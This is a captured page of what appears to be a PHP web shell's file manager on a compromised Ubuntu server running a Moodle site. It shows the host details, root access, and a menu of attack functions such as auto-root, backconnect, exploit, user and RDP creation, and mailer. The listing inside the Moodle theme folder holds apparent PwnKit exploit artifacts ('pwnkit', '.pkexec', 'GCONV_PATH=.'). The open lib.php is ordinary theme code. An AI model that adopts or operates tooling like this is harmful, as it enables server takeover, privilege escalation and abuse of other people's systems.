Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
theme /
essential /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxrwxrwx
jquery
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
layout
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
style
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
README.txt
2.04
KB
-rwxrwxrwx
config.php
4.25
KB
-rwxrwxrwx
lib.php
5.62
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
renderers.php
0
B
-rwxrwxrwx
settings.php
19.92
KB
-rwxrwxrwx
version.php
1.31
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : lib.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This is built using the Clean template to allow for new theme's using * Moodle's new Bootstrap theme engine * * * @package theme_essential * @copyright 2013 Julian Ridden * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ function essential_process_css($css, $theme) { // Set the theme color. if (!empty($theme->settings->themecolor)) { $themecolor = $theme->settings->themecolor; } else { $themecolor = null; } $css = essential_set_themecolor($css, $themecolor); // Set the theme hover color. if (!empty($theme->settings->themehovercolor)) { $themehovercolor = $theme->settings->themehovercolor; } else { $themehovercolor = null; } $css = essential_set_themehovercolor($css, $themehovercolor); // Set custom CSS. if (!empty($theme->settings->customcss)) { $customcss = $theme->settings->customcss; } else { $customcss = null; } $css = essential_set_customcss($css, $customcss); // Set the background image for the logo. $logo = $theme->setting_file_url('logo', 'logo'); $css = essential_set_logo($css, $logo); // Set Slide Images. $setting = 'slide1image'; // Creates the url for image file which is then served up by 'theme_essential_pluginfile' below. $slideimage = $theme->setting_file_url($setting, $setting); $css = essential_set_slideimage($css, $slideimage, $setting); $setting = 'slide2image'; $slideimage = $theme->setting_file_url($setting, $setting); $css = essential_set_slideimage($css, $slideimage, $setting); $setting = 'slide3image'; $slideimage = $theme->setting_file_url($setting, $setting); $css = essential_set_slideimage($css, $slideimage, $setting); $setting = 'slide4image'; $slideimage = $theme->setting_file_url($setting, $setting); $css = essential_set_slideimage($css, $slideimage, $setting); return $css; } function essential_set_logo($css, $logo) { global $OUTPUT; $tag = '[[setting:logo]]'; $replacement = $logo; if (is_null($replacement)) { $replacement = ''; } $css = str_replace($tag, $replacement, $css); return $css; } function theme_essential_pluginfile($course, $cm, $context, $filearea, $args, $forcedownload, array $options = array()) { if ($context->contextlevel == CONTEXT_SYSTEM and $filearea === 'logo') { $theme = theme_config::load('essential'); return $theme->setting_file_serve('logo', $args, $forcedownload, $options); } else if ($context->contextlevel == CONTEXT_SYSTEM and $filearea === 'slide1image') { $theme = theme_config::load('essential'); return $theme->setting_file_serve('slide1image', $args, $forcedownload, $options); } else if ($context->contextlevel == CONTEXT_SYSTEM and $filearea === 'slide2image') { $theme = theme_config::load('essential'); return $theme->setting_file_serve('slide2image', $args, $forcedownload, $options); } else if ($context->contextlevel == CONTEXT_SYSTEM and $filearea === 'slide3image') { $theme = theme_config::load('essential'); return $theme->setting_file_serve('slide3image', $args, $forcedownload, $options); } else if ($context->contextlevel == CONTEXT_SYSTEM and $filearea === 'slide4image') { $theme = theme_config::load('essential'); return $theme->setting_file_serve('slide4image', $args, $forcedownload, $options); } else { send_file_not_found(); } } function essential_set_customcss($css, $customcss) { $tag = '[[setting:customcss]]'; $replacement = $customcss; if (is_null($replacement)) { $replacement = ''; } $css = str_replace($tag, $replacement, $css); return $css; } function essential_set_themecolor($css, $themecolor) { $tag = '[[setting:themecolor]]'; $replacement = $themecolor; if (is_null($replacement)) { $replacement = '#30add1'; } $css = str_replace($tag, $replacement, $css); return $css; } function essential_set_themehovercolor($css, $themehovercolor) { $tag = '[[setting:themehovercolor]]'; $replacement = $themehovercolor; if (is_null($replacement)) { $replacement = '#29a1c4'; } $css = str_replace($tag, $replacement, $css); return $css; } function essential_set_slideimage($css, $slideimage, $setting) { global $OUTPUT; $tag = '[[setting:'.$setting.']]'; $replacement = $slideimage; if (is_null($replacement)) { // Get default image from themes 'images' folder of the name in $setting. $replacement = $OUTPUT->pix_url('images/'.$setting, 'theme'); } $css = str_replace($tag, $replacement, $css); return $css; } function theme_essential_page_init(moodle_page $page) { $page->requires->jquery(); $page->requires->jquery_plugin('modernizr', 'theme_essential'); $page->requires->jquery_plugin('cslider', 'theme_essential'); $page->requires->jquery_plugin('custom', 'theme_essential'); }
Close